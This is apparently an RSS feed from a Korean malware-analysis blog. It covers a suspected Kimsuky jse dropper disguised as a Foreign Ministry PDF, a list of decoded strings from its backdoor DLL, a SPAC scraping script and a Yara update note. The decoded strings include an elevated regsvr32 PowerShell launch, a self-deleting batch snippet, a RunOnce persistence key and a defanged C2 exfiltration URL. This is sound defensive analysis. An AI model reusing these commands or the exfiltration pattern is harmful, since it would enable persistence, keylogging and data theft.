C2B567FA9731699F1F6F76486CAC76DF407CBD0A52531AC87D6CC129B19D219E9CEE9E07AA3B7FAD0106F631B53B76D876F73CE642C3285ECB322473BCAD03B3647E716575FF530C57A078A2D5485BD13954E6FFA3C70C41F
.enc
InternetWriteFile
SystemTimeToFileTime
CreateMutexW
kernel32.dll
list.fdb
GetCurrentProcess
FindWindowA
GetTempFileNameA
Advapi32.dll
WriteFile
LoadLibraryA
URLDownloadToFileW
PromptOnSecureDesktop
RegCreateKeyExA
%PDF-1.7..4 0 obj
User32.dll
Desktop
DeleteFileW
InternetConnectA
RegSetValueExW
GetModuleHandleW
Process32First
GetVolumeInformationW
CopyFileW
OpenMutexW
Gdi32.dll
ExitProcess
CreateMutexA
FindNextFileA
GetStartupInfoW
URLDownloadToFileA
    :repeat
    del &quot;%s&quot;
    if exist &quot;%s&quot; goto repeat
    del &quot;%%~f0&quot;
RegCreateKeyExW
Software\Microsoft\Windows\CurrentVersion\RunOnce
ESTCommon.dll
MoveFileExW
GetDIBits
MessageBoxA
HttpEndRequestW
LoadLibraryW
GetTempPathW
GetTempPathA
GetObjectA
SHGetFolderPathW
DeleteObject
FindNextFileW
InternetOpenW
GetTokenInformation
RegCloseKey
CreateFileA
SHCreateDirectoryExW
CreateCompatibleBitmap
Process32FirstW
MoveFileExA
GetTickCount
CreateToolhelp32Snapshot
Documents
Process32NextW
HttpOpenRequestW
SpyRegsvr32-20210505162735
GetSystemTime
FindFirstFileW
CreateProcessW
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
AdjustTokenPrivileges
OpenProcessToken
ReleaseDC
.zip
urlmon.dll
Downloads
FolderMonitor
OpenMutexA
VirtualProtect
.tmp
GetDesktopWindow
InternetSetOptionExA
Wininet.dll
HttpSendRequestA
0602000000A4000052534131000400000100010005DA37C671C00B2A04759D5A143C015F4D0B38F0F83D6E4E19B309D570ADB6EEA7CACB5A59A489B9E4B8D801B76A0C361E7D7798E6248722DC0349400857F68C5B21474138F0D3EE0929AB1EBEA9EBB057E88D0CACB41D4A6029F459AD7B8A8D180B77DC4596745B9CF77DAD7B50F44B43DA8F1326E64C53DAA51807A02751E2
GetVolumeInformationA
GetModuleFileNameA
GetWindowsDirectoryW
regsvr32.exe
ShowWindow
HeapFree
AppData\Local\Microsoft\Windows\INetCache\IE
GetKeyState
DeleteDC
HttpQueryInfoW
FreeLibrary
HttpEndRequestA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
RegSetValueExA
GetDC
Process32Next
InternetSetOptionExW
CloseHandle
InternetCloseHandle
CreateCompatibleDC
RegQueryValueExW
InternetReadFile
HttpSendRequestW
powershell.exe start-process regsvr32.exe -argumentlist '/s %s' -verb runas
PathFileExistsA
WriteProcessMemory
HeapAlloc
GetForegroundWindow
 /s &quot;
GetSystemMetrics
%s/?m=a&amp;amp;p1=%s&amp;amp;p2=%s-%s-v%s.%d
DeleteUrlCacheEntryW
CreateFileW
GetParent
GetProcessHeap
WaitForSingleObject
InternetOpenA
ESTsoftAutoUpdate
CopyFileA
MessageBoxW
cache
Iphlpapi.dll
FindWindowW
RegOpenKeyExW
GetModuleHandleA
HttpOpenRequestA
CreateProcessA
HttpQueryInfoA
VirtualAlloc
GetVersion
GetWindowsDirectoryA
GetAdaptersInfo
GetStartupInfoA
GetKeyboardState
Software\ESTsoft\Common
2.0
GetTempFileNameW
OpenProcess
list.ldb
CreatePipe
HttpAddRequestHeadersW
BitBlt
CreateThread
RegDeleteValueW
DeleteFileA
TerminateProcess
.bat
ScreenMonitor
SHGetFolderPathA
SetProcessDPIAware
RegDeleteValueA
RegOpenKeyExA
Win%d.%d.%dx64
Sleep
SeDebugPrivilege
GetNativeSystemInfo
UsbMonitor
GetModuleFileNameW
DeleteUrlCacheEntryA
GetDeviceCaps
PathFileExistsW
GetProcAddress
FindFirstFileA
--7263b57d61acd27d98a454fc484795fe0106d5
InternetConnectW
VirtualFree
HttpSendRequestExW
GetWindow
GetObjectW&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <category>Decoding</category>
      <category>idapython</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/280</guid>
      <comments>https://suspected.tistory.com/280#entry280comment</comments>
      <pubDate>Wed, 8 Sep 2021 22:09:10 +0900</pubDate>
    </item>
    <item>
      <title>jse dropper 악성코드 분석 (Kimsuky?) - 1편</title>
      <link>https://suspected.tistory.com/279</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[개요]&lt;/b&gt;&lt;br /&gt;gmail에 alienvault feed 메일이 전송되어 분석을 시작하기로 했다. alienvault는 해당 악성코드 Family를 &lt;span style=&quot;color: #212529;&quot;&gt;Kimsuky라 지정했다. 최근 악성 한글 문서 유포 형태에서 워드+매크로, pdf.jse와 같이 확장자 변경+fileless 형태로 변경되는 것 같은 느낌이 든다.&lt;/span&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석]&lt;br /&gt;&lt;/b&gt;본 글(1편)은 세세한 분석보다는 파일이 드롭되는 과정, 드롭된 파일이 대충 어떤 기능을 하는지에 대해 설명한다. 2편에서는 특정 커스텀 인코딩 루틴 분석 및 디코딩 스크립트를 제작하는 과정에 대해 설명한다.&lt;br /&gt;2편 : &lt;a href=&quot;https://suspected.tistory.com/280&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://suspected.tistory.com/280&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;* VT 정보&lt;/b&gt;&lt;br /&gt;hash :&amp;nbsp;20eff877aeff0afaa8a5d29fe272bdd61e49779b9e308c4a202ad868a901a5cd&lt;br /&gt;submitted name :&amp;nbsp;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;외교부 가판 2021-05-07.pdf.jse&lt;br /&gt;First Submission : 2021-08-12 01:12:35&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;파일명은 &lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;외교부 가판 2021-05-07.pdf.jse로 외교부 사칭, jse파일을 pdf로 확장자로 눈속임하는 형태를 지닌다. 바쁘거나 관심이 없는 사람들은 해당 파일을 외교부 pdf 문서라고 착각하여 실행할 수 있으니 주의가 필요하다.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;해당 파일 내부를 확인한 결과 javascript로 작성된 스크립트가 작성됐다. 요약하면 d6rdVIu1CNC 변수에는 PDF 미끼 파일, tbPaitkT4N4 변수에는 드롭되는 악성 바이너리가 base64 데이터로 저장된다. 다음으로 특정 경로에 드롭을 진행하여 powershell을 통해 base64 디코딩 및 실행한다.&lt;/span&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt; 해당 파일을 실행 시 정상적인 pdf 파일이라는 것을 인지하도록 PDF 미끼 파일이 먼저 실행되도록 설계됐으며, 백그라운드에서는 악성파일 또한 실행된다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;589&quot; data-filename=&quot;10.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SXtRg/btreqJL37BF/9syhmIqNEi3tKKo9aUjrKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SXtRg/btreqJL37BF/9syhmIqNEi3tKKo9aUjrKK/img.png&quot; data-alt=&quot;jse 파일 내부 코드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SXtRg/btreqJL37BF/9syhmIqNEi3tKKo9aUjrKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSXtRg%2FbtreqJL37BF%2F9syhmIqNEi3tKKo9aUjrKK%2Fimg.png&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;589&quot; data-filename=&quot;10.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;jse 파일 내부 코드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;실행되는 미끼 pdf 파일은 외교부에서 작성한 &quot;오늘의 주요뉴스&quot; 내용이 담겨있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;735&quot; data-filename=&quot;7.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lNUsn/btrepv8ngbd/KlL7hgTjtoQgZX4WQPuqu1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lNUsn/btrepv8ngbd/KlL7hgTjtoQgZX4WQPuqu1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lNUsn/btrepv8ngbd/KlL7hgTjtoQgZX4WQPuqu1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlNUsn%2Fbtrepv8ngbd%2FKlL7hgTjtoQgZX4WQPuqu1%2Fimg.png&quot; data-origin-width=&quot;573&quot; data-origin-height=&quot;735&quot; data-filename=&quot;7.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;아래 Python 스크립트를 통해 jse 파일 내부 base64 인코딩된 데이터들을 디코딩 할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1631103969243&quot; class=&quot;python&quot; style=&quot;display: block; overflow: auto; padding: 20px; color: #383a42; background: #f8f8f8; font-size: 14px; font-family: 'SF Mono', Menlo, Consolas, Monaco, monospace; border: 1px solid #ebebeb; line-height: 1.71; margin: 20px auto 0px; cursor: default; z-index: 1; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import base64
import sys

with open(sys.argv[1], 'r') as a:
	b = a.read()
    
bdbytes = base64.b64decode(b)

with open(sys.argv[2], 'wb') as c:
	c.write(bdbytes)
    
print('Done')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fdfdfd; color: #4d4d4d;&quot;&gt;&lt;br /&gt;스크립트를 통해 악성 파일이 있는 base64 인코딩 데이터를 해제하면 아래 그림과 같이 1번 더 base64가 나오고 다시 풀면 64bit DLL 파일을 확인할 수 있다. 해당 파일은 UPX로 패킹되어 해제했다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;764&quot; data-filename=&quot;9.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lj7Oa/btrewxXBeR0/S0XrPbYY6qLIpUnRHWczK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lj7Oa/btrewxXBeR0/S0XrPbYY6qLIpUnRHWczK1/img.png&quot; data-alt=&quot;드롭퍼 프로세스&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lj7Oa/btrewxXBeR0/S0XrPbYY6qLIpUnRHWczK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Flj7Oa%2FbtrewxXBeR0%2FS0XrPbYY6qLIpUnRHWczK1%2Fimg.png&quot; data-origin-width=&quot;1082&quot; data-origin-height=&quot;764&quot; data-filename=&quot;9.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;드롭퍼 프로세스&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;초반에는 API 리졸빙 기능을 수행해 API들을 동적으로 로딩하는 기능만 존재한다. (엄청 많다..)&amp;nbsp;&lt;br /&gt;18001B2F0-&amp;gt;18001B330 순서로 특정 커스텀 인코딩된 문자열을 입력받아 디코딩을 수행하는 형태이다. 이 부분을 디코딩하는 스크립트는 2편에서 다룰 예정이다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;512&quot; data-filename=&quot;17.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b4biGQ/btrevXPPvRg/HtkmfCy8Y3L3Ks8eUJqzHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b4biGQ/btrevXPPvRg/HtkmfCy8Y3L3Ks8eUJqzHK/img.png&quot; data-alt=&quot;API 리졸빙&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b4biGQ/btrevXPPvRg/HtkmfCy8Y3L3Ks8eUJqzHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb4biGQ%2FbtrevXPPvRg%2FHtkmfCy8Y3L3Ks8eUJqzHK%2Fimg.png&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;512&quot; data-filename=&quot;17.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;API 리졸빙&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;API 리졸빙 후 DLL Export 함수에 있는 DllRegisterServer 함수를 실행한다. 해당 함수에는 키로깅, 자동 실행 등록, 인터넷 통신, 인터넷 접속 기록 조회 등 주요 기능들이 다수 존재했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;166&quot; data-filename=&quot;16.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ozl87/btreydRVDXB/pFJCOmk6jKgw7kaLN6EKF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ozl87/btreydRVDXB/pFJCOmk6jKgw7kaLN6EKF1/img.png&quot; data-alt=&quot;DllRegisterServer (Export 함수)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ozl87/btreydRVDXB/pFJCOmk6jKgw7kaLN6EKF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOzl87%2FbtreydRVDXB%2FpFJCOmk6jKgw7kaLN6EKF1%2Fimg.png&quot; data-origin-width=&quot;622&quot; data-origin-height=&quot;166&quot; data-filename=&quot;16.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;DllRegisterServer (Export 함수)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;6개의 Thread를 실행한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;231&quot; data-filename=&quot;1.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ILqou/btrerz3ujHa/troPI8RJs7ZFfHhSeQ22NK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ILqou/btrerz3ujHa/troPI8RJs7ZFfHhSeQ22NK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ILqou/btrerz3ujHa/troPI8RJs7ZFfHhSeQ22NK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FILqou%2Fbtrerz3ujHa%2FtroPI8RJs7ZFfHhSeQ22NK%2Fimg.png&quot; data-origin-width=&quot;830&quot; data-origin-height=&quot;231&quot; data-filename=&quot;1.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;확장자 검색, 수집, 로그 기록&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;419&quot; data-filename=&quot;12.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uEF6M/btrevyv0vI2/xoAKHRIObZxjShItFDhfXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uEF6M/btrevyv0vI2/xoAKHRIObZxjShItFDhfXK/img.png&quot; data-alt=&quot;확장자 검색&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uEF6M/btrevyv0vI2/xoAKHRIObZxjShItFDhfXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuEF6M%2Fbtrevyv0vI2%2FxoAKHRIObZxjShItFDhfXK%2Fimg.png&quot; data-origin-width=&quot;507&quot; data-origin-height=&quot;419&quot; data-filename=&quot;12.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;확장자 검색&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;키로깅 수행, 로그 기록&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;469&quot; data-filename=&quot;11.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6NNOO/btrewf3LZfr/zRGmD9KqZouSytsLMGWQD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6NNOO/btrewf3LZfr/zRGmD9KqZouSytsLMGWQD0/img.png&quot; data-alt=&quot;키로깅 기능&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6NNOO/btrewf3LZfr/zRGmD9KqZouSytsLMGWQD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6NNOO%2Fbtrewf3LZfr%2FzRGmD9KqZouSytsLMGWQD0%2Fimg.png&quot; data-origin-width=&quot;407&quot; data-origin-height=&quot;469&quot; data-filename=&quot;11.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;키로깅 기능&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;61&quot; data-filename=&quot;13.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NP9Sr/btrepuhkqVQ/LZVFIsBXFh8ClvBufp75Lk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NP9Sr/btrepuhkqVQ/LZVFIsBXFh8ClvBufp75Lk/img.png&quot; data-alt=&quot;키로깅 데이터 저장&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NP9Sr/btrepuhkqVQ/LZVFIsBXFh8ClvBufp75Lk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNP9Sr%2FbtrepuhkqVQ%2FLZVFIsBXFh8ClvBufp75Lk%2Fimg.png&quot; data-origin-width=&quot;342&quot; data-origin-height=&quot;61&quot; data-filename=&quot;13.PNG&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;키로깅 데이터 저장&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;대충 분석해본 결과 C2 서버(&lt;a href=&quot;https://otx.alienvault.com/indicator/hostname/texts.letterpaper.press&quot;&gt;&lt;span&gt;&lt;span&gt;texts[.]letterpaper[.]press/?m=a&amp;amp;p1=%s&amp;amp;p2=%s-%s-v%s.%d&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;)에 수집된 데이터 전송 등 통신을 하는 정보유출형 백도어로 분석됐다.&lt;br /&gt;디버깅 결과 : &lt;a href=&quot;https://otx.alienvault.com/indicator/hostname/texts.letterpaper.press&quot;&gt;&lt;span&gt;&lt;span&gt;texts[.]letterpaper[.]press/?m=a&amp;amp;p1=[식별자]&amp;amp;p2=[윈도우 버전]-S_Regsvr32-v2.0.6.9&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[참고]&lt;br /&gt;[1] &lt;a href=&quot;https://otx.alienvault.com/pulse/612752782146341e9654bcd9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://otx.alienvault.com/pulse/612752782146341e9654bcd9&lt;/a&gt; &lt;br /&gt;[2]&amp;nbsp;&lt;a href=&quot;https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://inquest.net/blog/2021/08/23/kimsuky-espionage-campaign&lt;/a&gt;&lt;/p&gt;</description>
      <category>리버싱/윈도우 악성코드 분석</category>
      <category>infostealer</category>
      <category>keylogger</category>
      <category>Kimsuky</category>
      <category>malware</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/279</guid>
      <comments>https://suspected.tistory.com/279#entry279comment</comments>
      <pubDate>Wed, 8 Sep 2021 20:27:34 +0900</pubDate>
    </item>
    <item>
      <title>spactrack 파싱 및 엑셀 저장 개발</title>
      <link>https://suspected.tistory.com/278</link>
      <description>&lt;p&gt;spactrack에서 저장된 spac 목록들을 파싱하고 엑셀에 저장하는 스크립트이다.&lt;/p&gt;
&lt;pre id=&quot;code_1612615588519&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# get parsing spack stocks list and stored to excel
# python 3.8

import requests
from bs4 import BeautifulSoup
import xlsxwriter

# startrack's spack stocks list
url1 = &quot;https://sheet2site-staging.herokuapp.com/api/v3/index.php/?search=&amp;amp;key=1F7gLiGZP_F4tZgQXgEhsHMqlgqdSds3vO0-4hoL6ROQ&amp;amp;e=1&quot;
url2 = &quot;https://sheet2site-staging.herokuapp.com/api/v3/load_more.php/?key=1F7gLiGZP_F4tZgQXgEhsHMqlgqdSds3vO0-4hoL6ROQ&amp;amp;template=Table%20Template&amp;amp;filter=&amp;amp;search=&amp;amp;e=1&amp;amp;is_filter_multi=true&amp;amp;length=99&amp;amp;page={}&quot;
row = 0
columnlist = [&quot;SPAC Ticker&quot;, &quot;Name&quot;, &quot;Status&quot;, &quot;SPAC Target Focus&quot;, &quot;Target Company(if Deal Announced)&quot;, &quot;Prominent Leadership / Directors / Advisors&quot;, &quot;Trust Value(from last filing)&quot;, &quot;Market Cap&quot;, &quot;Commons Price&quot;, &quot;Commons % Change Previous Day&quot;, &quot;Unit Price&quot;, &quot;Warrant Price&quot;, &quot;Unit &amp;amp; Warrant Details&quot;, &quot;Estimated Unit Split Date&quot;, &quot;Warrant Intrinsic Value&quot;, &quot;IPO Date&quot;, &quot;IPO Size(M)&quot;, &quot;Underwriter(s)&quot;, &quot;Estimated Completion Deadline Date&quot;, &quot;% Progress to Deadline&quot;, &quot;SEC Filings&quot;, &quot;Tags&quot;]

def CreateXlsx():
    w_obj = xlsxwriter.Workbook('spack.xlsx')
    worksheet = w_obj.add_worksheet()
    return worksheet

def CloseXlsx(w_obj):
    w_obj.close()

def TestEndofIndex():
    for index in range(1, 10):
        res = requests.get(url2.format(index))

        if res.text == &quot;end&quot;:
            return index - 1
    
    return False

def Parsing(index, worksheet):
    # 1 page
    global row
    dummpylists = []
    dummpylists2 = []
    html = requests.get(url1).text
    soup = BeautifulSoup(html)

    for tag in soup.select('tbody tr'):
        
        for tag2 in tag.findAll(&quot;td&quot;):
            dummpylists.append(tag2.getText())

        row = row + 1
        for col, dummy in enumerate(dummpylists):
            worksheet.write(row, col, dummy)
            col = col + 1

        dummpylists = []
                    
    #cols.append(all_cols[i].findAll(&quot;td&quot;)[j].find(text=True).strip().encode('cp949'))
 

    # 2~N page
    for i in range(1, index+1):
        html = requests.get(url2.format(i)).text
        soup = BeautifulSoup(html)
        for tag in soup.select('tr'):
            for tag2 in tag.findAll(&quot;td&quot;):
                dummpylists2.append(tag2.getText())

            row = row + 1
            for col, dummy in enumerate(dummpylists2):
                worksheet.write(row, col, dummy)
                col = col + 1

            dummpylists2 = []

w_obj = xlsxwriter.Workbook('spack.xlsx')
worksheet = w_obj.add_worksheet()
bold = w_obj.add_format({'bold': 1})

# write header in excel file
for i, header in enumerate(columnlist):
    worksheet.write(0, i, header, bold)

r_TestEndofIndex = TestEndofIndex()
if r_TestEndofIndex != False:
    Parsing(r_TestEndofIndex, worksheet)
    w_obj.close()
    
else:
    input(&quot;[ERROR] TestEndofIndex&quot;)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>프로그래밍/Python</category>
      <author>1q</author>
      <guid isPermaLink="true">https://suspected.tistory.com/278</guid>
      <comments>https://suspected.tistory.com/278#entry278comment</comments>
      <pubDate>Sat, 6 Feb 2021 21:46:40 +0900</pubDate>
    </item>
    <item>
      <title>Yara 4.0.0-4.0.1 업데이트 정리 : base64, base64wide, private 등</title>
      <link>https://suspected.tistory.com/277</link>
      <description>&lt;p&gt;20년 4월 29일 yara 4.0.0이 업데이트가 됐습니다[1][2]. 크게 새로운 modifier은 base64, base64wide, private가 생겼으며, &quot;pe&quot; 모듈에 pdb_path, export_details, exports_index가 추가되었다. 나머지 항목들은 기존 기능을 개선하거나 버그를 FIX한 형태이므로 언급은 하지 않겠습니다.&amp;nbsp;&lt;/p&gt;
